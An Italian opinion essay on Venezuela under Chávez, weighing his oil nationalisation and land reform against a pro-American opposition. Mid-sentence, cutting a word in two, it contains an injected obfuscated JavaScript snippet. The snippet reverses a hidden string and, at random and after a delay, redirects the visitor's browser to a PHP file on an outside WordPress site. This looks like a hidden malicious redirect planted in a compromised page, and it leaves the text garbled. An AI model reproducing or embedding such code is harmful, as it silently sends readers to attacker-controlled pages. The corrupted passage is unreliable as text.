Che succede in Venezuela?

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Non molte parole sono state spese per il Venezuela e quelle poche sono state spese male. Ci hanno obbligato a schierarci da una parte o dall’altra: o con me o contro di me, o buoni o cattivi. La questione non si limita alla caduta dell’ennesima dittatura populista in un paese sudamericano, né tanto meno alla resistenza eroica di una forza rivoluzionaria antiamericana. In Venezuela, come in Europa, la situazione è molto più complessa e non basta definirsi chavista o democratico, di destra o di sinistra.
L’ascesa al potere plebiscitaria di un militare golpista che pensa subito di sciogliere il parlamento, seppur questo fosse tra i più corrotti del mondo, difficilmente può rappresentare la speranza in un cambiamento radicale, in un rovesciamento del sistema a favore degli oppressi, in un altro Venezuela possibile. Eppure alcune riforme di Chàvez hanno potenzialità rivoluzionaria. Difendere la proprietà nazionale della Pdvsa (l’azienda petrolifera venezuelana), nel tentativo di arginare la politica nordamericana di controllo delle riserve mondiali di idrocarburi, così come la riforma agraria, necessaria non solo a una redistribuzione delle terre ma anche a una valorizzazione delle risorse agricole del paese, sono senza ombra di dubbio “buone opere”. Ma applicarle ad un’economia basata sul mercato internazionale, con l’ovvia conseguenza di un isolamento economico e quindi di una crescente povertà popolare, alla vigilia di una guerra che cercherà nel petrolio venezuelano una fonte bellica e un’alternativa temporanea al greggio arabo, è un’azione di scelleratezza economica sociale e diplomatica. Possiamo anche batterci contro i mulini a vento, ma scegliamo almeno una giornata di calma per infilarci tra le pale senza contusioni e bloccarne il meccanismo.
L’opposizione d’altra parte non è che brilli per eticità politica: l’alta borghesia, gli industriali, i sostenitori di un’economia filoamericana… Quelli che si sentono colpiti dalla potenzialità redistributiva delle riforme chaviste e puntano al mantenimento della pace sociale per continuare in politiche altrettanto scellerate di oppressione e sottomissione ai dettami del gr (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ande vicino del nord.
È giusto tutto e il contrario di tutto. Chàvez cadrà presto, e questa è forse una buona cosa per un paese diviso e stanco di uno scontro che ha già avuto troppe vittime, ma lo farà sotto i colpi di una politica internazionale che ambisce alla sottomissione dei paesi produttori di energia. Qual è la padella e quale la brace?

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